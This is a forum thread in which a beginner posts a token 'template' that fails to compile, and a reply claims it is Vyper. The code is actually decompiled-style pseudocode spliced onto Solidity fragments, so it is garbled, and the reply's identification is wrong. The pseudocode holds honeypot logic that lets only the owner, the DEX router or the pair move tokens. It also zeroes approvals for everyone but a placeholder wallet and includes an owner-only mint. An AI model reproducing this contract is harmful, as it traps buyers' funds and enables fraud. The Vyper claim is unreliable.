Having issues with a solidity template

image

Hi wondering why im getting this error?.
I got a template online just testing tokens, and different functions but Im unsure why im failing to compile this one.

I know some basics on coding, but not sure why this one failing everytime.
Any ideas?.


const unknownb8c9d25c = ext_call.return_data;

contract Token is ERC20 {

    constructor () public ERC20("TKS", "btok") {

        _mint(msg.sender, 1000000 * (10 ** uint256(decimals())));

    }

def storage ():

  owner is addr at storage 0

  balanceOf is mapping of uint256 at storage 1

  allowance is mapping of uint256 at storage 2

  totalSupply is uint256 at storage 3

  _decimals is uint8 at storage 4

  _symbol is array of uint256 at storage 5

  _name is array of uint256 at storage 6

  unknown7e95c6b4 is uint8 at storage 7

  stor8 is uint256 at storage 8

def name() payable:

  return _name[0 len _name.length]

def totalSupply() payable:

  return totalSupply

def decimals() payable:

  return _decimals

def _decimals() payable:

  return _decimals

def balanceOf(address _owner) payable:

  require calldata.size - 4 >= 32

  return balanceOf[addr(_owner)]

def unknown7e95c6b4() payable:

  return bool(unknown7e95c6b4)

def getOwner() payable:

  return owner

def owner() payable:

  return owner

def symbol() payable:

  return _symbol[0 len _symbol.length]

def _symbol() payable:

  return _symbol[0 len _symbol.length]

def _name() payable:

  return _name[0 len _name.length]

def allowance(address _owner, address _spender) payable:

  require calldata.size - 4 >= 64

  return allowance[addr(_owner)][addr(_spender)]

#

#  Regular functions

#

def _fallback() payable: # default function

  revert

def unknown0d4da3dc(bool _param1) payable:

  require calldata.size - 4 >= 32

  if owner != caller:

      revert with 0, 'Ownable: caller is not the owner'

  unknown7e95c6b4 = uint8(_param1)

  return 1

def renounceOwnership() payable:

  if owner != caller:

      revert with 0, 'Ownable: caller is not the owner'

  log OwnershipTransferred(

        address previousOwner=owner,

        address newOwner=0)

  owner = 0

def unknowne4707783(uint256 _param1) payable:

  require calldata.size - 4 >= 32

  if owner != caller:

      revert with 0, 'Ownable: caller is not the owner'

  if balanceOf[stor0] + _param1 < balanceOf[stor0]:

      revert with 0, 'SafeMath: addition overflow'

  balanceOf[stor0] += _param1

  log Transfer(

        address from=_param1,

        address to=0,

        uint256 value=owner)

  return 0

def transferOwnership(address _newOwner) payable:

  require calldata.size - 4 >= 32

  if owner != caller:

      revert with 0, 'Ownable: caller is not the owner'

  if not _newOwner:

      revert with 0x8c379a000000000000000000000000000000000000000000000000000000000,

                  32,

                  38,

                  0x734f776e61626c653a206e6577206f776e657220697320746865207a65726f20616464726573,

                  mem[202 len 26]

  log OwnershipTransferred(

        address previousOwner=owner,

        address newOwner=_newOwner)

  owner = _newOwner

def burn(uint256 _value) payable:

  require calldata.size - 4 >= 32

  if not caller:

      revert with 0x8c379a000000000000000000000000000000000000000000000000000000000,

                  32,

                  33,

                  0x6f42455032303a206275726e2066726f6d20746865207a65726f20616464726573,

                  mem[197 len 31]

  if _value > balanceOf[caller]:

      revert with 0, 32, 34, 0x7342455032303a206275726e20616d6f756e7420657863656564732062616c616e63, mem[162 len 30], mem[222 len 2]

  balanceOf[caller] -= _value

  if _value > totalSupply:

      revert with 0, 'SafeMath: subtraction overflow'

  totalSupply -= _value

  log Transfer(

        address from=_value,

        address to=caller,

        uint256 value=0)

def approve(address _spender, uint256 _value) payable:

  require calldata.size - 4 >= 64

  if not caller:

      revert with 0x8c379a000000000000000000000000000000000000000000000000000000000,

                  32,

                  36,

                  0x7342455032303a20617070726f76652066726f6d20746865207a65726f20616464726573,

                  mem[200 len 28]

  if not _spender:

      revert with 0x8c379a000000000000000000000000000000000000000000000000000000000,

                  32,

                  34,

                  0x6542455032303a20617070726f766520746f20746865207a65726f20616464726573,

                  mem[198 len 30]

  if insertwallethere != caller:

      allowance[caller][addr(_spender)] = 0

      log Approval(

            address owner=4,

            address spender=caller,

            uint256 value=_spender)

  else:

      allowance[caller][addr(_spender)] = _value

      log Approval(

            address owner=_value,

            address spender=caller,

            uint256 value=_spender)

  return 1

def decreaseAllowance(address _spender, uint256 _subtractedValue) payable:

  require calldata.size - 4 >= 64

  if _subtractedValue > allowance[caller][addr(_spender)]:

      revert with 0,

                  32,

                  37,

                  0x7342455032303a2064656372656173656420616c6c6f77616e63652062656c6f77207a6572,

                  mem[165 len 27],

                  mem[219 len 5]

  if not caller:

      revert with 0, 32, 36, 0x7342455032303a20617070726f76652066726f6d20746865207a65726f20616464726573, mem[296 len 28]

  if not _spender:

      revert with 0, 32, 34, 0x6542455032303a20617070726f766520746f20746865207a65726f20616464726573, mem[294 len 30]

  if insertwallethere != caller:

      allowance[caller][addr(_spender)] = 0

      log Approval(

            address owner=4,

            address spender=caller,

            uint256 value=_spender)

  else:

      allowance[caller][addr(_spender)] -= _subtractedValue

      log Approval(

            address owner=(allowance[caller][addr(_spender)] - _subtractedValue),

            address spender=caller,

            uint256 value=_spender)

  return 1

def increaseAllowance(address _spender, uint256 _addedValue) payable:

  require calldata.size - 4 >= 64

  if allowance[caller][addr(_spender)] + _addedValue < allowance[caller][addr(_spender)]:

      revert with 0, 'SafeMath: addition overflow'

  if not caller:

      revert with 0x8c379a000000000000000000000000000000000000000000000000000000000,

                  32,

                  36,

                  0x7342455032303a20617070726f76652066726f6d20746865207a65726f20616464726573,

                  mem[200 len 28]

  if not _spender:

      revert with 0x8c379a000000000000000000000000000000000000000000000000000000000,

                  32,

                  34,

                  0x6542455032303a20617070726f766520746f20746865207a65726f20616464726573,

                  mem[198 len 30]

  if insertwallethere != caller:

      allowance[caller][addr(_spender)] = 0

      log Approval(

            address owner=4,

            address spender=caller,

            uint256 value=_spender)

  else:

      allowance[caller][addr(_spender)] += _addedValue

      log Approval(

            address owner=(allowance[caller][addr(_spender)] + _addedValue),

            address spender=caller,

            uint256 value=_spender)

  return 1

def burnFrom(address _from, uint256 _value) payable:

  require calldata.size - 4 >= 64

  if _value > allowance[addr(_from)][caller]:

      revert with 0, 32, 36, 0x6542455032303a206275726e20616d6f756e74206578636565647320616c6c6f77616e63, mem[164 len 28], mem[220 len 4]

  if not _from:

      revert with 0, 32, 36, 0x7342455032303a20617070726f76652066726f6d20746865207a65726f20616464726573, mem[296 len 28]

  if not caller:

      revert with 0, 32, 34, 0x6542455032303a20617070726f766520746f20746865207a65726f20616464726573, mem[294 len 30]

  if _from != insertwallethere:

      allowance[addr(_from)][caller] = 0

      log Approval(

            address owner=4,

            address spender=_from,

            uint256 value=caller)

  else:

      allowance[addr(_from)][caller] -= _value

      log Approval(

            address owner=(allowance[addr(_from)][caller] - _value),

            address spender=_from,

            uint256 value=caller)

  if not _from:

      revert with 0, 32, 33, 0x6f42455032303a206275726e2066726f6d20746865207a65726f20616464726573, mem[293 len 31]

  if _value > balanceOf[addr(_from)]:

      revert with 0, 32, 34, 0x7342455032303a206275726e20616d6f756e7420657863656564732062616c616e63, mem[258 len 30], mem[318 len 2]

  balanceOf[addr(_from)] -= _value

  if _value > totalSupply:

      revert with 0, 'SafeMath: subtraction overflow'

  totalSupply -= _value

  log Transfer(

        address from=_value,

        address to=_from,

        uint256 value=0)

def transfer(address _to, uint256 _value) payable:

  require calldata.size - 4 >= 64

  if not caller:

      revert with 0x8c379a000000000000000000000000000000000000000000000000000000000,

                  32,

                  37,

                  0xfe42455032303a207472616e736665722066726f6d20746865207a65726f20616464726573,

                  mem[201 len 27]

  if not _to:

      revert with 0x8c379a000000000000000000000000000000000000000000000000000000000,

                  32,

                  35,

                  0x6542455032303a207472616e7366657220746f20746865207a65726f20616464726573,

                  mem[199 len 29]

  if caller == 0x10ed43c718714eb63d5aa57b78b54704e256024e:

      if _value > balanceOf[caller]:

          revert with 0,

                      32,

                      38,

                      0x6542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e63,

                      mem[166 len 26],

                      mem[218 len 6]

      balanceOf[caller] -= _value

      if balanceOf[addr(_to)] + _value < balanceOf[addr(_to)]:

          revert with 0, 'SafeMath: addition overflow'

      balanceOf[addr(_to)] += _value

      log Transfer(

            address from=_value,

            address to=caller,

            uint256 value=_to)

  else:

      require ext_code.size(0xca143ce32fe78f1f7019d7d551a6402fc5350c73)

      static call 0xca143ce32fe78f1f7019d7d551a6402fc5350c73.0xe6a43905 with:

              gas gas_remaining wei

             args 0xbb4cdb9cbd36b01bd1cbaebf2de08d9173bc095c, this.address

      if not ext_call.success:

          revert with ext_call.return_data[0 len return_data.size]

      require return_data.size >= 32

      if caller == ext_call.return_data[12 len 20]:

          if _value > balanceOf[caller]:

              revert with 0,

                          32,

                          38,

                          0x6542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e63,

                          mem[166 len 26],

                          mem[218 len 6]

          balanceOf[caller] -= _value

          if balanceOf[addr(_to)] + _value < balanceOf[addr(_to)]:

              revert with 0, 'SafeMath: addition overflow'

          balanceOf[addr(_to)] += _value

          log Transfer(

                address from=_value,

                address to=caller,

                uint256 value=_to)

      else:

          require ext_code.size(0xca143ce32fe78f1f7019d7d551a6402fc5350c73)

          static call 0xca143ce32fe78f1f7019d7d551a6402fc5350c73.0xe6a43905 with:

                  gas gas_remaining wei

                 args 0xbb4cdb9cbd36b01bd1cbaebf2de08d9173bc095c, this.address

          if not ext_call.success:

              revert with ext_call.return_data[0 len return_data.size]

          require return_data.size >= 32

          if not ext_call.return_data[12 len 20]:

              if _value > balanceOf[caller]:

                  revert with 0,

                              32,

                              38,

                              0x6542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e63,

                              mem[166 len 26],

                              mem[218 len 6]

              balanceOf[caller] -= _value

              if balanceOf[addr(_to)] + _value < balanceOf[addr(_to)]:

                  revert with 0, 'SafeMath: addition overflow'

              balanceOf[addr(_to)] += _value

              log Transfer(

                    address from=_value,

                    address to=caller,

                    uint256 value=_to)

          else:

              if caller == owner:

                  if _value > balanceOf[caller]:

                      revert with 0,

                                  32,

                                  38,

                                  0x6542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e63,

                                  mem[166 len 26],

                                  mem[218 len 6]

                  balanceOf[caller] -= _value

                  if balanceOf[addr(_to)] + _value < balanceOf[addr(_to)]:

                      revert with 0, 'SafeMath: addition overflow'

                  balanceOf[addr(_to)] += _value

                  log Transfer(

                        address from=_value,

                        address to=caller,

                        uint256 value=_to)

              else:

                  if _value <= stor8:

                      if not ext_code.hash(caller):

                          if _value > balanceOf[caller]:

                              revert with 0,

                                          32,

                                          38,

                                          0x6542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e63,

                                          mem[166 len 26],

                                          mem[218 len 6]

                          balanceOf[caller] -= _value

                          if balanceOf[addr(_to)] + _value < balanceOf[addr(_to)]:

                              revert with 0, 'SafeMath: addition overflow'

                          balanceOf[addr(_to)] += _value

                          log Transfer(

                                address from=_value,

                                address to=caller,

                                uint256 value=_to)

                      else:

                          if ext_code.hash(caller) == 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470:

                              if _value > balanceOf[caller]:

                                  revert with 0,

                                              32,

                                              38,

                                              0x6542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e63,

                                              mem[166 len 26],

                                              mem[218 len 6]

                              balanceOf[caller] -= _value

                              if balanceOf[addr(_to)] + _value < balanceOf[addr(_to)]:

                                  revert with 0, 'SafeMath: addition overflow'

                              balanceOf[addr(_to)] += _value

                              log Transfer(

                                    address from=_value,

                                    address to=caller,

                                    uint256 value=_to)

                  else:

                      if unknown7e95c6b4:

                          if not ext_code.hash(caller):

                              if _value > balanceOf[caller]:

                                  revert with 0,

                                              32,

                                              38,

                                              0x6542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e63,

                                              mem[166 len 26],

                                              mem[218 len 6]

                              balanceOf[caller] -= _value

                              if balanceOf[addr(_to)] + _value < balanceOf[addr(_to)]:

                                  revert with 0, 'SafeMath: addition overflow'

                              balanceOf[addr(_to)] += _value

                              log Transfer(

                                    address from=_value,

                                    address to=caller,

                                    uint256 value=_to)

                          else:

                              if ext_code.hash(caller) == 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470:

                                  if _value > balanceOf[caller]:

                                      revert with 0,

                                                  32,

                                                  38,

                                                  0x6542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e63,

                                                  mem[166 len 26],

                                                  mem[218 len 6]

                                  balanceOf[caller] -= _value

                                  if balanceOf[addr(_to)] + _value < balanceOf[addr(_to)]:

                                      revert with 0, 'SafeMath: addition overflow'

                                  balanceOf[addr(_to)] += _value

                                  log Transfer(

                                        address from=_value,

                                        address to=caller,

                                        uint256 value=_to)

  return 1

def transferFrom(address _from, address _to, uint256 _value) payable:

  require calldata.size - 4 >= 96

  if not _from:

      revert with 0x8c379a000000000000000000000000000000000000000000000000000000000,

                  32,

                  37,

                  0xfe42455032303a207472616e736665722066726f6d20746865207a65726f20616464726573,

                  mem[201 len 27]

  if not _to:

      revert with 0x8c379a000000000000000000000000000000000000000000000000000000000,

                  32,

                  35,

                  0x6542455032303a207472616e7366657220746f20746865207a65726f20616464726573,

                  mem[199 len 29]

  if _from == 0x10ed43c718714eb63d5aa57b78b54704e256024e:

      if _value > balanceOf[addr(_from)]:

          revert with 0,

                      32,

                      38,

                      0x6542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e63,

                      mem[166 len 26],

                      mem[218 len 6]

      balanceOf[addr(_from)] -= _value

      if balanceOf[addr(_to)] + _value < balanceOf[addr(_to)]:

          revert with 0, 'SafeMath: addition overflow'

      balanceOf[addr(_to)] += _value

      log Transfer(

            address from=_value,

            address to=_from,

            uint256 value=_to)

      if _value > allowance[addr(_from)][caller]:

          revert with 0,

                      32,

                      40,

                      0x7342455032303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63,

                      mem[264 len 24],

                      mem[312 len 8]

      if not _from:

          revert with 0, 32, 36, 0x7342455032303a20617070726f76652066726f6d20746865207a65726f20616464726573, mem[392 len 28]

      if not caller:

          revert with 0, 32, 34, 0x6542455032303a20617070726f766520746f20746865207a65726f20616464726573, mem[390 len 30]

  else:

      require ext_code.size(0xca143ce32fe78f1f7019d7d551a6402fc5350c73)

      static call 0xca143ce32fe78f1f7019d7d551a6402fc5350c73.0xe6a43905 with:

              gas gas_remaining wei

             args 0xbb4cdb9cbd36b01bd1cbaebf2de08d9173bc095c, this.address

      if not ext_call.success:

          revert with ext_call.return_data[0 len return_data.size]

      require return_data.size >= 32

      if _from == ext_call.return_data[12 len 20]:

          if _value > balanceOf[addr(_from)]:

              revert with 0,

                          32,

                          38,

                          0x6542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e63,

                          mem[166 len 26],

                          mem[218 len 6]

          balanceOf[addr(_from)] -= _value

          if balanceOf[addr(_to)] + _value < balanceOf[addr(_to)]:

              revert with 0, 'SafeMath: addition overflow'

          balanceOf[addr(_to)] += _value

          log Transfer(

                address from=_value,

                address to=_from,

                uint256 value=_to)

          if _value > allowance[addr(_from)][caller]:

              revert with 0,

                          32,

                          40,

                          0x7342455032303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63,

                          mem[264 len 24],

                          mem[312 len 8]

          if not _from:

              revert with 0, 32, 36, 0x7342455032303a20617070726f76652066726f6d20746865207a65726f20616464726573, mem[392 len 28]

          if not caller:

              revert with 0, 32, 34, 0x6542455032303a20617070726f766520746f20746865207a65726f20616464726573, mem[390 len 30]

      else:

          require ext_code.size(0xca143ce32fe78f1f7019d7d551a6402fc5350c73)

          static call 0xca143ce32fe78f1f7019d7d551a6402fc5350c73.0xe6a43905 with:

                  gas gas_remaining wei

                 args 0xbb4cdb9cbd36b01bd1cbaebf2de08d9173bc095c, this.address

          if not ext_call.success:

              revert with ext_call.return_data[0 len return_data.size]

          require return_data.size >= 32

          if not ext_call.return_data[12 len 20]:

              if _value > balanceOf[addr(_from)]:

                  revert with 0,

                              32,

                              38,

                              0x6542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e63,

                              mem[166 len 26],

                              mem[218 len 6]

              balanceOf[addr(_from)] -= _value

              if balanceOf[addr(_to)] + _value < balanceOf[addr(_to)]:

                  revert with 0, 'SafeMath: addition overflow'

              balanceOf[addr(_to)] += _value

              log Transfer(

                    address from=_value,

                    address to=_from,

                    uint256 value=_to)

              if _value > allowance[addr(_from)][caller]:

                  revert with 0,

                              32,

                              40,

                              0x7342455032303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63,

                              mem[264 len 24],

                              mem[312 len 8]

              if not _from:

                  revert with 0, 32, 36, 0x7342455032303a20617070726f76652066726f6d20746865207a65726f20616464726573, mem[392 len 28]

              if not caller:

                  revert with 0, 32, 34, 0x6542455032303a20617070726f766520746f20746865207a65726f20616464726573, mem[390 len 30]

          else:

              if _from == owner:

                  if _value > balanceOf[addr(_from)]:

                      revert with 0,

                                  32,

                                  38,

                                  0x6542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e63,

                                  mem[166 len 26],

                                  mem[218 len 6]

                  balanceOf[addr(_from)] -= _value

                  if balanceOf[addr(_to)] + _value < balanceOf[addr(_to)]:

                      revert with 0, 'SafeMath: addition overflow'

                  balanceOf[addr(_to)] += _value

                  log Transfer(

                        address from=_value,

                        address to=_from,

                        uint256 value=_to)

                  if _value > allowance[addr(_from)][caller]:

                      revert with 0,

                                  32,

                                  40,

                                  0x7342455032303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63,

                                  mem[264 len 24],

                                  mem[312 len 8]

                  if not _from:

                      revert with 0, 32, 36, 0x7342455032303a20617070726f76652066726f6d20746865207a65726f20616464726573, mem[392 len 28]

                  if not caller:

                      revert with 0, 32, 34, 0x6542455032303a20617070726f766520746f20746865207a65726f20616464726573, mem[390 len 30]

              else:

                  if _value <= stor8:

                      if not ext_code.hash(_from):

                          if _value > balanceOf[addr(_from)]:

                              revert with 0,

                                          32,

                                          38,

                                          0x6542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e63,

                                          mem[166 len 26],

                                          mem[218 len 6]

                          balanceOf[addr(_from)] -= _value

                          if balanceOf[addr(_to)] + _value < balanceOf[addr(_to)]:

                              revert with 0, 'SafeMath: addition overflow'

                          balanceOf[addr(_to)] += _value

                          log Transfer(

                                address from=_value,

                                address to=_from,

                                uint256 value=_to)

                          if _value > allowance[addr(_from)][caller]:

                              revert with 0,

                                          32,

                                          40,

                                          0x7342455032303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63,

                                          mem[264 len 24],

                                          mem[312 len 8]

                          if not _from:

                              revert with 0, 32, 36, 0x7342455032303a20617070726f76652066726f6d20746865207a65726f20616464726573, mem[392 len 28]

                          if not caller:

                              revert with 0, 32, 34, 0x6542455032303a20617070726f766520746f20746865207a65726f20616464726573, mem[390 len 30]

                      else:

                          if ext_code.hash(_from) != 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470:

                              if _value > allowance[addr(_from)][caller]:

                                  revert with 0,

                                              32,

                                              40,

                                              0x7342455032303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63,

                                              mem[168 len 24],

                                              mem[216 len 8]

                              if not _from:

                                  revert with 0, 32, 36, 0x7342455032303a20617070726f76652066726f6d20746865207a65726f20616464726573, mem[296 len 28]

                              if not caller:

                                  revert with 0, 32, 34, 0x6542455032303a20617070726f766520746f20746865207a65726f20616464726573, mem[294 len 30]

                          else:

                              if _value > balanceOf[addr(_from)]:

                                  revert with 0,

                                              32,

                                              38,

                                              0x6542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e63,

                                              mem[166 len 26],

                                              mem[218 len 6]

                              balanceOf[addr(_from)] -= _value

                              if balanceOf[addr(_to)] + _value < balanceOf[addr(_to)]:

                                  revert with 0, 'SafeMath: addition overflow'

                              balanceOf[addr(_to)] += _value

                              log Transfer(

                                    address from=_value,

                                    address to=_from,

                                    uint256 value=_to)

                              if _value > allowance[addr(_from)][caller]:

                                  revert with 0,

                                              32,

                                              40,

                                              0x7342455032303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63,

                                              mem[264 len 24],

                                              mem[312 len 8]

                              if not _from:

                                  revert with 0, 32, 36, 0x7342455032303a20617070726f76652066726f6d20746865207a65726f20616464726573, mem[392 len 28]

                              if not caller:

                                  revert with 0, 32, 34, 0x6542455032303a20617070726f766520746f20746865207a65726f20616464726573, mem[390 len 30]

                  else:

                      if not unknown7e95c6b4:

                          if _value > allowance[addr(_from)][caller]:

                              revert with 0,

                                          32,

                                          40,

                                          0x7342455032303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63,

                                          mem[168 len 24],

                                          mem[216 len 8]

                          if not _from:

                              revert with 0, 32, 36, 0x7342455032303a20617070726f76652066726f6d20746865207a65726f20616464726573, mem[296 len 28]

                          if not caller:

                              revert with 0, 32, 34, 0x6542455032303a20617070726f766520746f20746865207a65726f20616464726573, mem[294 len 30]

                      else:

                          if not ext_code.hash(_from):

                              if _value > balanceOf[addr(_from)]:

                                  revert with 0,

                                              32,

                                              38,

                                              0x6542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e63,

                                              mem[166 len 26],

                                              mem[218 len 6]

                              balanceOf[addr(_from)] -= _value

                              if balanceOf[addr(_to)] + _value < balanceOf[addr(_to)]:

                                  revert with 0, 'SafeMath: addition overflow'

                              balanceOf[addr(_to)] += _value

                              log Transfer(

                                    address from=_value,

                                    address to=_from,

                                    uint256 value=_to)

                              if _value > allowance[addr(_from)][caller]:

                                  revert with 0,

                                              32,

                                              40,

                                              0x7342455032303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63,

                                              mem[264 len 24],

                                              mem[312 len 8]

                              if not _from:

                                  revert with 0, 32, 36, 0x7342455032303a20617070726f76652066726f6d20746865207a65726f20616464726573, mem[392 len 28]

                              if not caller:

                                  revert with 0, 32, 34, 0x6542455032303a20617070726f766520746f20746865207a65726f20616464726573, mem[390 len 30]

                          else:

                              if ext_code.hash(_from) != 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470:

                                  if _value > allowance[addr(_from)][caller]:

                                      revert with 0,

                                                  32,

                                                  40,

                                                  0x7342455032303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63,

                                                  mem[168 len 24],

                                                  mem[216 len 8]

                                  if not _from:

                                      revert with 0, 32, 36, 0x7342455032303a20617070726f76652066726f6d20746865207a65726f20616464726573, mem[296 len 28]

                                  if not caller:

                                      revert with 0, 32, 34, 0x6542455032303a20617070726f766520746f20746865207a65726f20616464726573, mem[294 len 30]

                              else:

                                  if _value > balanceOf[addr(_from)]:

                                      revert with 0,

                                                  32,

                                                  38,

                                                  0x6542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e63,

                                                  mem[166 len 26],

                                                  mem[218 len 6]

                                  balanceOf[addr(_from)] -= _value

                                  if balanceOf[addr(_to)] + _value < balanceOf[addr(_to)]:

                                      revert with 0, 'SafeMath: addition overflow'

                                  balanceOf[addr(_to)] += _value

                                  log Transfer(

                                        address from=_value,

                                        address to=_from,

                                        uint256 value=_to)

                                  if _value > allowance[addr(_from)][caller]:

                                      revert with 0,

                                                  32,

                                                  40,

                                                  0x7342455032303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63,

                                                  mem[264 len 24],

                                                  mem[312 len 8]

                                  if not _from:

                                      revert with 0, 32, 36, 0x7342455032303a20617070726f76652066726f6d20746865207a65726f20616464726573, mem[392 len 28]

                                  if not caller:

                                      revert with 0, 32, 34, 0x6542455032303a20617070726f766520746f20746865207a65726f20616464726573, mem[390 len 30]

  ('bool', 'caller')

  if _from != insertwallethere:

      allowance[addr(_from)][caller] = 0

      log Approval(

            address owner=4,

            address spender=_from,

            uint256 value=caller)

  else:

      allowance[addr(_from)][caller] -= _value

      log Approval(

            address owner=(allowance[addr(_from)][caller] - _value),

            address spender=_from,

            uint256 value=caller)

  return 1

}

It seems like the code you shared is wrote by Vyper rather than Solidity, for Vyper example, you can have a look at Vyper by Example | Vyper documentation, and for Solidity contract, you can have a look at Solidity by Example | Solidity 0.8.11

Thanks a lot, seems that i was getting a wrong template for solidity, meaning this template does work in vyper?.
Maybe ill try it and see if it works the code itself right?.